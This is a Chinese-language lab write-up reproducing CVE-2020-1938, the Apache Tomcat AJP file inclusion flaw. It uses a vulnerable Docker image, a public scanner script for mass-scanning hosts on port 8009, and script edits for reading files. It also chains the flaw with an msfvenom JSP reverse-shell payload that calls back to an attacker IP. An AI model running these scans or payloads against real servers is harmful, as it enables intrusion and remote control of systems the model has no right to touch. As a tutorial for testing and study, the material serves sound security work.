CVE-2020-1938 Apache Tomcat AJP文件包含漏洞
影响版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
复现
环境准备
选取一个版本受影响的Tomcat, 我们这里在Docker hub上找了一个官方9.0.30版本的Tomcat镜像来复现
docker pull tomcat:9.0.30-jdk8-adoptopenjdk-hotspot
运行容器后, 进入容器里的/usr/local/tomcat目录, 将webapps.dist下的内容复制到webapps目录下
docker run --rm -p 8009:8009 -p 8080:8080 -d tomcat:9.0.30-jdk8-adoptopenjdk-hotspot
访问8080端口,查看Tomcat是否正常运行
工具准备
访问下面的链接或在github上自己寻找
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
简单测试
threading-find-port-8009.py用于找出开放8009端口的域名或IP, 我们将要扫描的域名或IP放于ip.txt
运行threading-find-port-8009.py后会生成8009.txt, 它保存 ip.txt 中开放8009端口的域名/IP
python threading-find-port-8009.py
threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py从8009.txt中筛选出符合漏洞的url, 放置于vul.txt中. 最后vul.txt中存在的域名即为含有漏洞的域名.
python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
跨目录读取
脚本默认读取ROOT目录下的文件, 如果想读取webapps其他目录下的文件, 可以对脚本进行简单的修改
不可以跨目录读取/etc/passwd等文件, 只能读取和包含webapps目录下的文件
修改“/asdf”就可以实现跨目录读取. 比如我们要读取test目录下的test.txt
_,data = t.perform_request('/test/asdf',attributes=[
在webapps下的创建一个test目录, 放上一个test.txt文件
然后用修改后的脚本读取这个文件即可
反弹shell
如果服务器同时存在文件上传漏洞, 则可以进一步取得shell. 我们先修改一下脚本, 在“/asdf”后面加上“.jsp”即可
_,data = t.perform_request('/asdf.jsp',attributes=[
生成Payload, 其中192.168.125.130是攻击者地址
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
设置好payload,然后开始监听
将shell.txt放到webapps的ROOT目录下后,运行脚本
获得shell
防护建议
http://blog.nsfocus.net/cve-2020-1938/
声明
本文仅用于安全自测及交流学习,请勿用于非法操作。利用本文造成的任何直接或间接后果,由使用者本人负责。
参考资料
https://www.lstazl.com/tomcat%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9ecnvd-2020-1048/
https://www.geek-by.xyz/2020/02/21/cve-2020-1938-apache-tomcat-ajp-wen-jian-bao-han-lou-dong/